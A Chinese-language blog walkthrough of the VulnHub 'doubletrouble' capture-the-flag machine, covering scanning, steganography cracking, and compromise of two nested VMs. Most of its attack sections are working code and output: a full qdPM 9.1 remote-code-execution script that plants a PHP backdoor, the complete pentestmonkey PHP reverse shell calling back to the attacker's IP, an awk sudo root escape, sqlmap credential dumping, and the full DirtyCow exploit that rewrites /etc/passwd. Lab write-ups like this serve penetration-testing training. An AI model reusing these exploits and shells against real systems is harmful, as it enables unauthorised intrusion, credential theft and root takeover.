靶机渗透练习63-doubletrouble

靶机描述

靶机地址:https://www.vulnhub.com/entry/doubletrouble-1,743/

Description

get flags

difficulty: easy

about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.

This works better with VirtualBox rather than VMware

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.60

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

⬢  doubletrouble  arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.7
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2     08:00:27:85:40:04       PCS Systemtechnik GmbH
192.168.9.60    08:00:27:f7:33:d1       PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.950 seconds (131.28 hosts/sec). 2 responded
方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

⬢  doubletrouble  nmap -A -sV -T4 -p- 192.168.9.60
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 14:39 CST
Nmap scan report for bogon (192.168.9.60)
Host is up (0.00035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: qdPM | Login
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:F7:33:D1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms bogon (192.168.9.60)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.66 seconds

开放了以下端口:

22---ssh---OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80---http---Apache httpd 2.4.38 ((Debian))

2.2枚举漏洞

2.2.1 80 端口分析

访问:http://192.168.9.60/

image-20220331144304857

发现CMS是qdPM 9.1

本地搜索一下漏洞库:searchsploit qdPM 9.1

image-20220331145214280

有不少可利用的,看一下``

# Exploit Title: qdPM 9.1 - Remote Code Execution
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2020-01-22
# Exploit Author: Rishal Dwivedi (Loginsoft)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Windows 10 (Python 2.7)
# CVE : CVE-2020-7246
# Exploit written in Python 2.7
# Tested Environment - Windows 10
# Path Traversal + Remote Code Execution

# Command - qdpm-exploit.py -url http://localhost/ -u user@localhost.com -p password
# -*- coding: utf-8 -*-
#!/usr/bin/python

import requests
from lxml import html
from argparse import ArgumentParser

session_requests = requests.session()

def multifrm(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    uservar,
    ):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    return request_1


def req(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    ):
    request_1 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '.htaccess',
        )
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                , files=request_1)
    request_2 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '../.htaccess',
        )
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                 , files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    upload_req = session_requests.post(HOSTNAME
            + 'index.php/myAccount/update', files=request_3)


def main(HOSTNAME, EMAIL, PASSWORD):
    result = session_requests.get(HOSTNAME + '/index.php/login')
    login_tree = html.fromstring(result.text)
    authenticity_token = \
        list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value"
             )))[0]
    payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,
               'login[_csrf_token]': authenticity_token}
    result = session_requests.post(HOSTNAME + '/index.php/login',
                                   data=payload,
                                   headers=dict(referer=HOSTNAME
                                   + '/index.php/login'))
    account_page = session_requests.get(HOSTNAME + 'index.php/myAccount'
            )
    account_tree = html.fromstring(account_page.content)
    userid = account_tree.xpath("//input[@name='users[id]']/@value")
    username = account_tree.xpath("//input[@name='users[name]']/@value")
    csrftoken_ = \
        account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
    req(userid, username, csrftoken_, EMAIL, HOSTNAME)
    get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
    final_tree = html.fromstring(get_file.content)
    backdoor = \
        final_tree.xpath("//input[@name='users[photo_preview]']/@value")
    print 'Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' \
        + backdoor[-1] + '?cmd=whoami'


if __name__ == '__main__':
    parser = \
        ArgumentParser(description='qdmp - Path traversal + RCE Exploit'
                       )
    parser.add_argument('-url', '--host', dest='hostname',
                        help='Project URL')
    parser.add_argument('-u', '--email', dest='email',
                        help='User email (Any privilege account)')
    parser.add_argument('-p', '--password', dest='password',
                        help='User password')
    args = parser.parse_args()

    main(args.hostname, args.email, args.password)

发现需要知道emailpassword

咱们扫一下网站目录,看一下还能拿到其他信息:dirsearch -u http://192.168.9.60

⬢  doubletrouble  dirsearch -u http://192.168.9.60     

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.9.60/_22-03-31_14-56-11.txt

Error Log: /root/.dirsearch/logs/errors-22-03-31_14-56-11.log

Target: http://192.168.9.60/

[14:56:11] Starting: 
[14:56:11] 301 -  309B  - /js  ->  http://192.168.9.60/js/
[14:56:12] 403 -  277B  - /.ht_wsr.txt
[14:56:12] 403 -  277B  - /.htaccess.bak1
[14:56:12] 403 -  277B  - /.htaccess.save
[14:56:12] 403 -  277B  - /.htaccess_extra
[14:56:12] 403 -  277B  - /.htaccessBAK
[14:56:12] 403 -  277B  - /.htaccess_orig
[14:56:12] 403 -  277B  - /.htaccess_sc
[14:56:12] 403 -  277B  - /.htaccess.orig
[14:56:12] 403 -  277B  - /.htaccess.sample
[14:56:12] 403 -  277B  - /.htaccessOLD2
[14:56:12] 403 -  277B  - /.htaccessOLD
[14:56:12] 403 -  277B  - /.html
[14:56:12] 403 -  277B  - /.htm
[14:56:12] 403 -  277B  - /.htpasswd_test
[14:56:12] 403 -  277B  - /.httr-oauth
[14:56:12] 403 -  277B  - /.htpasswds
[14:56:13] 403 -  277B  - /.php
[14:56:20] 301 -  314B  - /backups  ->  http://192.168.9.60/backups/
[14:56:20] 200 -  743B  - /backups/
[14:56:21] 200 -    0B  - /check.php
[14:56:22] 301 -  311B  - /core  ->  http://192.168.9.60/core/
[14:56:22] 301 -  310B  - /css  ->  http://192.168.9.60/css/
[14:56:23] 200 -  894B  - /favicon.ico
[14:56:25] 301 -  313B  - /images  ->  http://192.168.9.60/images/
[14:56:25] 200 -    2KB - /images/
[14:56:25] 200 -    6KB - /index.php
[14:56:25] 301 -  314B  - /install  ->  http://192.168.9.60/install/
[14:56:25] 200 -    2KB - /install/index.php?upgrade/
[14:56:25] 200 -    2KB - /install/
[14:56:25] 200 -    7KB - /index.php/login/
[14:56:26] 200 -    2KB - /js/
[14:56:31] 200 -  470B  - /readme.txt
[14:56:31] 200 -   26B  - /robots.txt
[14:56:31] 301 -  313B  - /secret  ->  http://192.168.9.60/secret/
[14:56:31] 200 -  955B  - /secret/
[14:56:31] 403 -  277B  - /server-status/
[14:56:31] 403 -  277B  - /server-status
[14:56:33] 301 -  315B  - /template  ->  http://192.168.9.60/template/
[14:56:34] 200 -    2KB - /template/
[14:56:34] 301 -  314B  - /uploads  ->  http://192.168.9.60/uploads/
[14:56:35] 200 -    1KB - /uploads/

Task Completed

/core,/css,/images 这三个应该是模板文件,不仔细看了

http://192.168.9.60/backups/没什么发现

http://192.168.9.60/install/没什么发现

http://192.168.9.60/secret/发现一个不一样的图片

下载下来使用steghide分析一下

⬢  doubletrouble  steghide extract -sf doubletrouble.jpg 
Enter passphrase: 
steghide: could not extract any data with that passphrase!

发现需要密码

使用stegseek工具进行爆破密码

⬢  doubletrouble  stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "92camaro"       
[i] Original filename: "creds.txt".
[i] Extracting to "doubletrouble.jpg.out".

成功爆破出密码92camaro

再次使用steghide

⬢  doubletrouble  steghide extract -sf doubletrouble.jpg                                
Enter passphrase: 
wrote extracted data to "creds.txt".

成功分离出

otisrush@localhost.com
otis666

拿去登录一下

2.3漏洞利用

2.3.1 文件上传漏洞

运行本地漏洞库的exp发现报错

回头去网站找一下可利用的点,目录扫描出upload,找找上传点

在信息修改的地方发现可以上传图片,先尝试上传反弹shell

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.9.7';
$port = 6666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

image-20220331151940070

访问:http://192.168.9.60/uploads/users/查看一下是否上传成功

image-20220331152030760

访问:http://192.168.9.60/uploads/users/677620-php-reverse-shell.php

kali本地监听一下:nc -lvp 6666

⬢  doubletrouble  nc -lvp 6666                    
listening on [any] 6666 ...
Warning: forward host lookup failed for bogon: Host name lookup failure : Resource temporarily unavailable
connect to [192.168.9.7] from bogon [192.168.9.60] 37014
Linux doubletrouble 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux
 23:44:59 up  1:30,  0 users,  load average: 0.08, 0.02, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ 

成功拿到shell

切换至交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'

$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@doubletrouble:/$ 

2.4权限提升

2.4.1 信息收集

www-data@doubletrouble:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on doubletrouble:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on doubletrouble:
    (ALL : ALL) NOPASSWD: /usr/bin/awk
www-data@doubletrouble:/$ 

发现是以root权限运行的 awk

https://gtfobins.github.io查找一下

image-20220331152805901

点击sudo查看利用命令sudo awk 'BEGIN {system("/bin/sh")}'

image-20220331152913965

运行该命令成功提权

www-data@doubletrouble:/$ sudo awk 'BEGIN {system("/bin/sh")}'
sudo awk 'BEGIN {system("/bin/sh")}'
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
# ls -al
ls -al
total 403472
drwx------  2 root root      4096 Sep 11  2021 .
drwxr-xr-x 18 root root      4096 Dec 17  2020 ..
-rw-------  1 root root        46 Sep 11  2021 .bash_history
-rw-r--r--  1 root root 413142528 Sep 11  2021 doubletrouble.ova
# 

但是在root目录下没有找到flag,却发现了doubletrouble.ova镜像文件

image-20220331153412583

比较了一下靶机镜像文件,发现这两个镜像文件大小相差特别多

这可能是第二层靶机

靶机内开一个http服务

# python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
root@doubletrouble:~# python -m http.server 8080
python -m http.server 8080
/usr/bin/python: No module named http
root@doubletrouble:~# python3 -m http.server 8080
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

在kali中下载下来看看

image-20220331154131547

拿出去导入一下这个镜像

2.5 第二个靶机信息收集

2.5.1 主机发现

arp-scan -I eth0 -l (指定网卡扫)

⬢  doubletrouble  arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.7
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2     08:00:27:7b:39:b4       PCS Systemtechnik GmbH
192.168.9.60    08:00:27:f7:33:d1       PCS Systemtechnik GmbH
192.168.9.61    08:00:27:8e:b0:94       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.916 seconds (133.61 hosts/sec). 3 responded

2.5.2 端口扫描

nmap -A -sV -T4 -p- 192.168.9.61

⬢  doubletrouble  nmap -A -sV -T4 -p- 192.168.9.61
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 15:46 CST
Nmap scan report for bogon (192.168.9.61)
Host is up (0.00036s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 e8:4f:84:fc:7a:20:37:8b:2b:f3:14:a9:54:9e:b7:0f (DSA)
|   2048 0c:10:50:f5:a2:d8:74:f1:94:c5:60:d7:1a:78:a4:e6 (RSA)
|_  256 05:03:95:76:0c:7f:ac:db:b2:99:13:7e:9c:26:ca:d1 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Debian)
MAC Address: 08:00:27:8E:B0:94 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.36 ms bogon (192.168.9.61)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.87 seconds

开放了22,80端口

2.6 第二靶机枚举漏洞

2.6.1 80端口分析

访问:http://192.168.9.61/

image-20220331154741734

尝试弱口令登录,没有任何反应

扫描一下目录dirsearch -u http://192.168.9.61

⬢  doubletrouble  dirsearch -u http://192.168.9.61                                      

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.9.61/_22-03-31_15-49-16.txt

Error Log: /root/.dirsearch/logs/errors-22-03-31_15-49-16.log

Target: http://192.168.9.61/

[15:49:16] Starting: 
[15:49:17] 403 -  291B  - /.ht_wsr.txt
[15:49:17] 403 -  294B  - /.htaccess.bak1
[15:49:17] 403 -  296B  - /.htaccess.sample
[15:49:17] 403 -  294B  - /.htaccess.orig
[15:49:17] 403 -  294B  - /.htaccess.save
[15:49:17] 403 -  292B  - /.htaccessBAK
[15:49:17] 403 -  292B  - /.htaccess_sc
[15:49:17] 403 -  294B  - /.htaccess_orig
[15:49:17] 403 -  293B  - /.htaccessOLD2
[15:49:17] 403 -  295B  - /.htaccess_extra
[15:49:17] 403 -  292B  - /.htaccessOLD
[15:49:17] 403 -  284B  - /.htm
[15:49:17] 403 -  294B  - /.htpasswd_test
[15:49:17] 403 -  285B  - /.html
[15:49:17] 403 -  290B  - /.htpasswds
[15:49:17] 403 -  291B  - /.httr-oauth
[15:49:18] 403 -  284B  - /.php
[15:49:18] 403 -  285B  - /.php3
[15:49:26] 403 -  288B  - /cgi-bin/
[15:49:31] 200 -  615B  - /index.php
[15:49:31] 200 -  615B  - /index.php/login/
[15:49:38] 403 -  293B  - /server-status
[15:49:38] 403 -  294B  - /server-status/

Task Completed

没什么发现

2.7 第二个靶机漏洞利用

2.7.1 SQL注入

sqlmap一把梭试试:sqlmap -u "http://192.168.9.61/index.php" -forms

image-20220331155649749

存在基于时间的sql注入

爆数据库sqlmap -u "http://192.168.9.61/index.php" --batch -forms -dbs

available databases [2]:
[*] doubletrouble
[*] information_schema

爆数据表sqlmap -u "http://192.168.9.61/index.php" --batch -forms -D doubletrouble --tables

Database: doubletrouble
[1 table]
+-------+
| users |
+-------+

爆字段sqlmap -u "http://192.168.9.61/index.php" --batch -forms -D doubletrouble -T users --dump

Database: doubletrouble
Table: users
[2 entries]
+----------+----------+
| password | username |
+----------+----------+
| GfsZxc1  | montreux |
| ZubZub99 | clapton  |
+----------+----------+

成功得到两个用户及其密码

尝试ssh登录,只有 clapton 用户能登进去

⬢  doubletrouble  ssh clapton@192.168.9.61     
The authenticity of host '192.168.9.61 (192.168.9.61)' can't be established.
ECDSA key fingerprint is SHA256:/v6Q2+ydqJo0XbOM6QR5qjyuQr2+a/P+R90qw0RlxWI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 
Warning: Permanently added '192.168.9.61' (ECDSA) to the list of known hosts.
clapton@192.168.9.61's password: 
Linux doubletrouble 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
clapton@doubletrouble:~$ 

2.8 第二个靶机权限提升

2.8.1 信息收集

简单信息收集一波,在用户目录下发现flag1

clapton@doubletrouble:~$ id
uid=1000(clapton) gid=1000(clapton) groups=1000(clapton)
clapton@doubletrouble:~$ sudo -l
-bash: sudo: command not found
clapton@doubletrouble:~$ ls -al
total 16
drwxr-xr-x 3 clapton clapton 4096 Sep  6  2021 .
drwxr-xr-x 3 root    root    4096 Sep  6  2021 ..
drwx------ 2 clapton clapton 4096 Sep  6  2021 .ssh
-r-x------ 1 clapton clapton   32 Sep  8  2021 user.txt
clapton@doubletrouble:~$ cat user.txt
6CEA7A737C7C651F6DA7669109B5FB52clapton@doubletrouble:~$ 
clapton@doubletrouble:~$ 

sudo没法用,那就没法查找suid程序了

看看是否可以利用内核

clapton@doubletrouble:~$ uname -a
Linux doubletrouble 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64 GNU/Linux
clapton@doubletrouble:~$ 

Linux 内核版本为3.2.0,可以利用脏牛漏洞进行提权

github找一下利用脚本dirty.c

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;

将其上传至靶机,编译后运行

clapton@doubletrouble:/tmp$ wget http://192.168.9.7/dirty.c
--2022-03-31 03:29:54--  http://192.168.9.7/dirty.c
Connecting to 192.168.9.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-csrc]
Saving to: `dirty.c'

100%[==========================================================>] 4,815       --.-K/s   in 0s      

2022-03-31 03:29:54 (866 MB/s) - `dirty.c' saved [4815/4815]

clapton@doubletrouble:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
clapton@doubletrouble:/tmp$  ./dirty root
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: root
Complete line:
firefart:fiw.I6FqpfXW.:0:0:pwned:/root:/bin/bash

mmap: 7f630f388000

madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'root'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'root'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
clapton@doubletrouble:/tmp$ 

成功创建root权限用户firefart

尝试切换用户firefart

clapton@doubletrouble:/tmp$ su firefart
Password: 
firefart@doubletrouble:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@doubletrouble:/tmp# cd /root
firefart@doubletrouble:~# ls
logdel2  root.txt
firefart@doubletrouble:~# cat root.txt
1B8EEA89EA92CECB931E3CC25AA8DE21firefart@doubletrouble:~# 

成功拿到root权限,并在root目录下拿到flag2

总结

本靶机居然是套娃,靶机一比较简单,主要通过信息收集拿到qdPM登录邮箱及密码,登录后通过上传点上传反弹shell,拿到shell通过 awk提权;靶机二通过sqlmap一把梭,拿到ssh登录用户密码,最后利用脏牛漏洞提权。

  1. 发现主机
  2. 信息收集
  3. 文件上传漏洞
  4. sudo提权-awk提权
  5. sqlmap一把梭
  6. 脏牛提权
posted @ 2022-04-08 17:33  hirak0  阅读(75)  评论(0编辑  收藏  举报